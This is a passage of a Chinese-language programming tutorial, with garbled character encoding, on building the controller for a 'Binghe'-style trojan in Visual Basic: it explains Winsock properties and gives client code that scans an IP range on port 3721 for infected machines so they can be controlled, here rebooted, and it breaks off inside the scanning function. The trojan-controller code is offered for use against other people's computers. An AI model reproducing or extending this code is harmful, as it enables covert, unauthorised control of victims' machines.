<p>談?wù)勥h(yuǎn)程控制中關(guān)于搜索、控制計(jì)算機(jī)的功能</p>
<p></p>
<p>相信大家對(duì)“冰河”之類的軟件一定都非常的感興趣，這里我們一起來(lái)討論一下“冰河”類軟件中關(guān)于如何實(shí)現(xiàn)搜索、控制遠(yuǎn)端計(jì)算機(jī)（在局域網(wǎng)、或互聯(lián)網(wǎng)上搜索那些中了木馬的機(jī)器）的功能。</p>
<p>一、 編程原理</p>
<p>客戶端程序：（控制遠(yuǎn)端計(jì)算機(jī)）</p>
<p>在 VB 中，我們可以通過 Winsock 控件的 TCP 協(xié)議，通過循環(huán)向指定的各個(gè) IP 地地址的指定端口發(fā)送連接請(qǐng)示，然后分析返回值，已確定哪些機(jī)器是我們可以控制的。</p>
<p>服務(wù)器端程序：（也就是木馬）</p>
<p>同樣通過 Winsock 控件的 TCP 協(xié)議，通過監(jiān)視指定的端口，取得相關(guān)的信息，分析信息是否為客房端程序發(fā)送過來(lái)的信息，然后進(jìn)行一定的處理。</p>
<p>二、 基礎(chǔ)知識(shí)</p>
<p>下面介紹一下 Winsock 控件的屬性、方法、事件，這樣大家對(duì)程序就會(huì)有更深的了解。</p>
<p>Winsock 控件的屬性:</p>
<p>.LocalIP 屬性      返回本地機(jī)器的 IP 地址，格式是 IP 地址加點(diǎn)字符串 (xxx.xxx.xxx.xxx)。在設(shè)計(jì)時(shí)是只讀的，而且是不可用的。</p>
<p>.Protocol 屬性     返回或設(shè)置 Winsock 控件所使用的協(xié)議— 或者是 TCP，或者是 UDP。</p>
<p>.RemotePort 屬性   要連接的遠(yuǎn)程計(jì)算機(jī)的端口。</p>
<p>.RemoteHost 屬性   要連接的遠(yuǎn)程計(jì)算機(jī)的名稱,也可以是 IP 地址。</p>
<p>.LocalHostName 屬性 返回本地機(jī)器名。在設(shè)計(jì)時(shí)是只讀的，而且是不可用的。</p>
<p>.State 屬性        返回控件的狀態(tài)</p>
<p>State 屬性的設(shè)置值是:</p>
<p>常數(shù)                   值  描述</p>
<p>sckClosed              0   缺省的。關(guān)閉</p>
<p>sckOpen                1   打開</p>
<p>sckListening           2   偵聽</p>
<p>sckConnectionPending   3   連接掛起</p>
<p>sckResolvingHost       4   識(shí)別主機(jī)</p>
<p>sckHostResolved        5   已識(shí)別主機(jī)</p>
<p>sckConnecting          6   正在連接</p>
<p>sckConnected           7   已連接</p>
<p>sckClosing             8   同級(jí)人員正在關(guān)閉連接</p>
<p>sckError               9   錯(cuò)誤</p>
<p></p>
<p></p>
<p>Winsock 控件的方法</p>
<p>.Connect 方法      要求連接到遠(yuǎn)程計(jì)算機(jī)。</p>
<p>.Close 方法        對(duì)客戶機(jī)和服務(wù)器應(yīng)用程序關(guān)閉 TCP 連接或偵聽套接字。</p>
<p>.Listen 方法       創(chuàng)建套接字并將其設(shè)置為偵聽模式。該方法僅適用于 TCP 連接。</p>
<p>.GetData 方法      獲取當(dāng)前的數(shù)據(jù)塊并將其存儲(chǔ)在變體類型的變量中。</p>
<p>.Accept 方法       僅適用于 TCP 服務(wù)器應(yīng)用程序。在處理 ConnectionRequest 事件時(shí)用這個(gè)方法接受新連接。</p>
<p></p>
<p>Winsock 控件的事件</p>
<p>.ConnectionRequest 事件 `當(dāng)遠(yuǎn)程計(jì)算機(jī)請(qǐng)求連接時(shí)出現(xiàn)。僅適用于 TCP 服務(wù)器應(yīng)用程序。</p>
<p>.DataArrival 事件  `當(dāng)新數(shù)據(jù)到達(dá)時(shí)出現(xiàn)。</p>
<p>三、 編程實(shí)踐</p>
<p>下面我們就以一個(gè)實(shí)例來(lái)說明，如何實(shí)現(xiàn)用控制程序（客戶端的程序）在局域網(wǎng)或互聯(lián)網(wǎng)上搜索運(yùn)行了木馬（服務(wù)端的程序）的計(jì)算機(jī)，并對(duì)其進(jìn)行控制（讓該計(jì)算機(jī)重新啟動(dòng)）。</p>
<p>（1）客戶端程序：</p>
<p>1、新建一個(gè) VB 工程，添加一個(gè) Winsock 控件（用來(lái)實(shí)現(xiàn)遠(yuǎn)程連接）；一個(gè) ProgressBar 控件；一個(gè) List 控件（顯示可以控制的計(jì)算機(jī)的 IP 地址）；一個(gè) Frame 控件，其 Caption 為 “搜索范圍”；七個(gè) Label 控件，其 Name 都為默認(rèn)值，Caption 分別為 “監(jiān)聽端口：”，“延遲時(shí)間：”，“毫秒”，“起始域：”，“起始地址：”，“終此地址：”，“搜索結(jié)果：”；二個(gè) Command 控件，其 Name 都為默認(rèn)值，Caption 分別為“開始搜索”，“程序結(jié)束”，一個(gè) StatusBar 控件（其中涉及的幾個(gè)非常規(guī)控件，請(qǐng)按下面的步驟加載：工程→部件→Micrsoft Windows Common Controls 5.0；Microsoft Winsock Control 6.0），程序設(shè)計(jì)界面如圖1所示：（是不是和冰河 V2.2 版中搜索計(jì)算機(jī)的窗口非常相似呀）</p>
<p>2、現(xiàn)在切換到代碼編輯窗口，依次寫入以下代碼：</p>
<p>注意：在下面程序中我所提到的“木馬”，就是服務(wù)器端的程序</p>
<p>①全局變量的聲名</p>
<p>Option Explicit</p>
<p>Dim myip As String  `保存本地 IP 地址</p>
<p>Dim IsFind As Boolean `判斷計(jì)算機(jī)是否可以控制</p>
<p>Dim temp_i, temp_j, temp_n, temp_o, sum_i As Long  `5 個(gè)臨時(shí)變量</p>
<p>②程序初始化設(shè)置</p>
<p>Private Sub Form_Load()</p>
<p>    myip = Winsock1.LocalIP `返回本地機(jī)器的 IP 地址,在設(shè)計(jì)時(shí)是只讀的，而且是不可用的。</p>
<p>    Winsock1.Protocol = sckTCPProtocol  `使用 TCP 協(xié)議</p>
<p>    `程序初始化設(shè)置</p>
<p>    Text1(0).Text = "3721"  `為服務(wù)器端口值</p>
<p>    Text1(1).Text = "2000"  `搜索木馬機(jī)器的延遲時(shí)間</p>
<p>    For temp_j = 1 To 3</p>
<p>        temp_i = InStr(temp_i + 1, myip, ".")</p>
<p>    Next</p>
<p>    Text1(2).Text = Left(myip, temp_i - 1)  `起始域</p>
<p>    Text1(3).Text = "1" `起始地址</p>
<p>    Text1(4).Text = "10"    `終此地址</p>
<p>    StatusBar1.Style = sbrSimple `設(shè)置 StatusBar 控件的樣式</p>
<p>    StatusBar1.SimpleText = "準(zhǔn)備搜索"  `設(shè)置 StatusBar 顯示的文本</p>
<p>End Sub</p>
<p>③開始搜索中木馬的計(jì)算機(jī)</p>
<p>Private Sub Command1_Click()</p>
<p>On Error GoTo error1</p>
<p>            sum_i = 0 `用來(lái)保存搜索到的計(jì)算機(jī)數(shù)目</p>
<p>            temp_j = ProgressBar1.Min   `取得 ProgressBar 控件的最小值</p>
<p>            List1.Enabled = False</p>
<p>            List1.Clear `清空列表框</p>
<p>            StatusBar1.SimpleText = "開始搜索計(jì)算機(jī)....."</p>
<p>            Command1.Enabled = False</p>
<p>            For temp_i = 0 To 4</p>
<p>                Text1(temp_i).Enabled = False</p>
<p>            Next</p>
<p>            `進(jìn)行一系列的錯(cuò)誤判斷</p>
<p>            If Int(Text1(3)) < 0 Then GoTo error1</p>
<p>            If Int(Text1(4)) < 0 Then GoTo error1</p>
<p>            If Int(Text1(4)) - Int(Text1(3)) < 0 Then GoTo error1</p>
<p>            ProgressBar1.Max = (Int(Text1(4)) - Int(Text1(3)) + 1) * 10 `定義 ProgressBar 控件的最大值,在后面的程序中可以實(shí)現(xiàn)"進(jìn)度條"</p>
<p>            For temp_i = Int(Text1(3)) To Int(Text1(4)) `循環(huán)開始連接各個(gè) IP 地址</p>
<p>                StatusBar1.SimpleText = "正在連接" & Text1(2).Text & "." & temp_i & "....."</p>
<p>                IsFind = SearchComputer(Text1(2).Text & "." & temp_i)   `通過自定函數(shù) SearchComputer 判斷該 IP 地址,是否有可以控制的計(jì)算機(jī)</p>
<p>                temp_j = temp_j + 10    `定義"進(jìn)度條"增加的塊數(shù)</p>
<p>                ProgressBar1.Value = temp_j `增加“進(jìn)度條"的塊數(shù),以產(chǎn)生動(dòng)態(tài)變化</p>
<p>                StatusBar1.SimpleText = "搜索完畢，共找到" & sum_i & "臺(tái)計(jì)算機(jī)可以控制"</p>
<p>            Next</p>
<p>            Command1.Enabled = True</p>
<p>            List1.Enabled = True</p>
<p>            For temp_i = 0 To 4</p>
<p>                Text1(temp_i).Enabled = True</p>
<p>            Next</p>
<p>   </p>
<p>    Exit Sub</p>
<p>error1:</p>
<p>    MsgBox "程序運(yùn)行錯(cuò)誤,請(qǐng)重新設(shè)置后,再運(yùn)行本程序！！", vbCritical, "程序錯(cuò)誤"</p>
<p>    For temp_i = 0 To 4</p>
<p>        Text1(temp_i).Enabled = True</p>
<p>    Next</p>
<p>    List1.Clear</p>
<p>    Command1.Enabled = True</p>
<p>    StatusBar1.SimpleText = "準(zhǔn)備搜索"</p>
<p>End Sub</p>
<p>④自定義 SearchComputer 函數(shù)，用來(lái)判斷指定 IP 地址的計(jì)算機(jī)是否可以控制</p>
<p>Private Function SearchComputer(ByVal ip As String) As Boolean   `自定義函數(shù),判斷指定 IP 地址的計(jì)算機(jī)是否可以控制</p>
<p>On Error Resume Next `在 Win98 下測(cè)試時(shí)，有時(shí)間會(huì)出現(xiàn)“沒有可用的緩沖空間”的錯(cuò)誤，而在 Win2000 下測(cè)試時(shí)則不會(huì)出現(xiàn)該錯(cuò)誤，因此為了防止程序出現(xiàn)致命的錯(cuò)誤，就用了這個(gè) On Error Resume Next</p>